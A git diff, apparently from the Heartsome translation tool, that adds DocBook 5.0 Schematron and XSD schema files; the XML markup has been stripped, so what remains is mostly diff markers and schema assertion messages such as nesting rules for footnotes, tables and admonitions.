    + + + + + + none + No labels + number + Numeric labels + qanda + "Q:" and "A:" labels + + + + + Specifies the default labelling + + + + + + + + + + + + + + + + + + + + + A question-and-answer set + + + + + + + + + + + + + + + +
    +
    + + + + + + + + + + + + + + + + + + A titled division in a QandASet + + + + + + + + + + + + + + + +
    +
    + + + + + + + + + + + + + + + + + + A question/answer set within a QandASet + + + + + + + + +
    +
    + + + + + + + + + + + + + + + A question in a QandASet + + + + + + + + + +
    +
    + + + + + + + + + + + + + + + An answer to a question posed in a QandASet + + + + + + + + + +
    +
    + + + + + + + + + + + + + + + A label on a Question or Answer + + + + +
    + + + + + + + + + + + + + + + + + + + + + + + + +
    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + A displayed mathematical equation + + + + + + + + + + + +
    +
    + + + + + + + + + + + + + + + + + + A displayed mathematical equation without a title + + + + + + + + + + + +
    +
    + + + + + + + + + + + + + + + A mathematical equation or expression occurring inline + + + + + + + +
    +
    + + + + + + + + + + + + + + + A mathematical phrase, an expression that can be represented with ordinary text and a small amount of markup + + + + + + + + + + +
    +
    + + + Any element from the MathML namespace + + + + + + + + + + +
    +
    + + + Any element from the SVG namespace + + + + + + + + + + +
    +
    diff --git a/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/docbook5.0/docbook.sch b/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/docbook5.0/docbook.sch new file mode 100644 index 0000000..d398092 --- /dev/null +++ b/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/docbook5.0/docbook.sch @@ -0,0 +1,704 @@ + + + + + + sidebar must not occur in the descendants of sidebar + + + + + footnote must not occur in the descendants of footnote + + + + + example must not occur in the descendants of footnote + + + + + figure must not occur in the descendants of footnote + + + + + table must not occur in the descendants of footnote + + + + + table must not occur in the descendants of footnote + + + + + caution must not occur in the descendants of footnote + + + + + important must not occur in the descendants of footnote + + + + + note must not occur in the descendants of footnote + + + + + tip must not occur in the descendants of footnote + + + + + warning must not occur in the descendants of footnote + + + + + indexterm must not occur in the descendants of footnote + + + + + indexterm must not occur in the descendants of footnote + + + + + indexterm must not occur in the descendants of footnote + + + + + sidebar must not occur in the descendants of footnote + + + + + task must not occur in the descendants of footnote + + + + + epigraph must not occur in the descendants of footnote + + + + + The root element must have a version attribute. + + + + + caution must not occur in the descendants of caution + + + + + important must not occur in the descendants of caution + + + + + note must not occur in the descendants of caution + + + + + tip must not occur in the descendants of caution + + + + + warning must not occur in the descendants of caution + + + + + caution must not occur in the descendants of important + + + + + important must not occur in the descendants of important + + + + + note must not occur in the descendants of important + + + + + tip must not occur in the descendants of important + + + + + warning must not occur in the descendants of important + + + + + caution must not occur in the descendants of note + + + + + important must not occur in the descendants of note + + + + + note must not occur in the descendants of note + + + + + tip must not occur in the descendants of note + + + + + warning must not occur in the descendants of note + + + + + caution must not occur in the descendants of tip + + + + + important must not occur in the descendants of tip + + + + + note must not occur in the descendants of tip + + + + + tip must not occur in the descendants of tip + + + + + warning must not occur in the descendants of tip + + + + + caution must not occur in the descendants of warning + + + + + important must not occur in the descendants of warning + + + + + note must not occur in the descendants of warning + + + + + tip must not occur in the descendants of warning + + + + + warning must not occur in the descendants of warning + + + + + The number of seg elements must be the same as the number of segtitle elements in the parent segmentedlist + + + + + example must not occur in the descendants of example + + + + + figure must not occur in the descendants of example + + + + + table must not occur in the descendants of example + + + + + table must not occur in the descendants of example + + + + + caution must not occur in the descendants of example + + + + + important must not occur in the descendants of example + + + + + note must not occur in the descendants of example + + + + + tip must not occur in the descendants of example + + + + + warning must not occur in the descendants of example + + + + + example must not occur in the descendants of figure + + + + + figure must not occur in the descendants of figure + + + + + table must not occur in the descendants of figure + + + + + table must not occur in the descendants of figure + + + + + caution must not occur in the descendants of figure + + + + + important must not occur in the descendants of figure + + + + + note must not occur in the descendants of figure + + + + + tip must not occur in the descendants of figure + + + + + warning must not occur in the descendants of figure + + + + + example must not occur in the descendants of caption + + + + + figure must not occur in the descendants of caption + + + + + table must not occur in the descendants of caption + + + + + table must not occur in the descendants of caption + + + + + caution must not occur in the descendants of caption + + + + + important must not occur in the descendants of caption + + + + + note must not occur in the descendants of caption + + + + + tip must not occur in the descendants of caption + + + + + warning must not occur in the descendants of caption + + + + + sidebar must not occur in the descendants of caption + + + + + task must not occur in the descendants of caption + + + + + @linkend on synopfragmentref must point to a synopfragment. + + + + + @linkend on footnoteref must point to a footnote. + + + + + annotation must not occur in the descendants of annotation + + + + + The root element must have a version attribute. + + + + + The root element must have a version attribute. + + + + + The root element must have a version attribute. + + + + + The root element must have a version attribute. + + + + + The root element must have a version attribute. + + + + + The root element must have a version attribute. + + + + + The root element must have a version attribute. + + + + + The root element must have a version attribute. + + + + + The root element must have a version attribute. + + + + + The root element must have a version attribute. + + + + + The root element must have a version attribute. + + + + + The root element must have a version attribute. + + + + + The root element must have a version attribute. + + + + + The root element must have a version attribute. + + + + + The root element must have a version attribute. + + + + + The root element must have a version attribute. + + + + + The root element must have a version attribute. + + + + + The root element must have a version attribute. + + + + + The root element must have a version attribute. + + + + + The root element must have a version attribute. + + + + + The root element must have a version attribute. + + + + + @otherterm on glosssee must point to a glossentry. + + + + + @otherterm on glossseealso must point to a glossentry. + + + + + @linkend on firstterm must point to a glossentry. + + + + + @linkend on glossterm must point to a glossentry. + + + + + The root element must have a version attribute. + + + + + A termdef must contain a glossterm + + + + + The root element must have a version attribute. + + + + + The root element must have a version attribute. + + + + + The root element must have a version attribute. + + + + + The root element must have a version attribute. + + + + + example must not occur in the descendants of table + + + + + figure must not occur in the descendants of table + + + + + table must not occur in the descendants of table + + + + + table must not occur in the descendants of table + + + + + caution must not occur in the descendants of table + + + + + important must not occur in the descendants of table + + + + + note must not occur in the descendants of table + + + + + tip must not occur in the descendants of table + + + + + warning must not occur in the descendants of table + + + + + table must not occur in the descendants of table + + + + + informaltable must not occur in the descendants of table + + + + + example must not occur in the descendants of table + + + + + figure must not occur in the descendants of table + + + + + table must not occur in the descendants of table + + + + + table must not occur in the descendants of table + + + + + caution must not occur in the descendants of table + + + + + important must not occur in the descendants of table + + + + + note must not occur in the descendants of table + + + + + tip must not occur in the descendants of table + + + + + warning must not occur in the descendants of table + + + + + table must not occur in the descendants of table + + + + + informaltable must not occur in the descendants of table + + + + + example must not occur in the descendants of caption + + + + + figure must not occur in the descendants of caption + + + + + table must not occur in the descendants of caption + + + + + table must not occur in the descendants of caption + + + + + caution must not occur in the descendants of caption + + + + + important must not occur in the descendants of caption + + + + + note must not occur in the descendants of caption + + + + + tip must not occur in the descendants of caption + + + + + warning must not occur in the descendants of caption + + + + + sidebar must not occur in the descendants of caption + + + + + task must not occur in the descendants of caption + + + diff --git a/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/docbook5.0/docbook.xsd b/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/docbook5.0/docbook.xsd new file mode 100644 index 0000000..64727a8 --- /dev/null +++ b/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/docbook5.0/docbook.xsd @@ -0,0 +1,16915 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 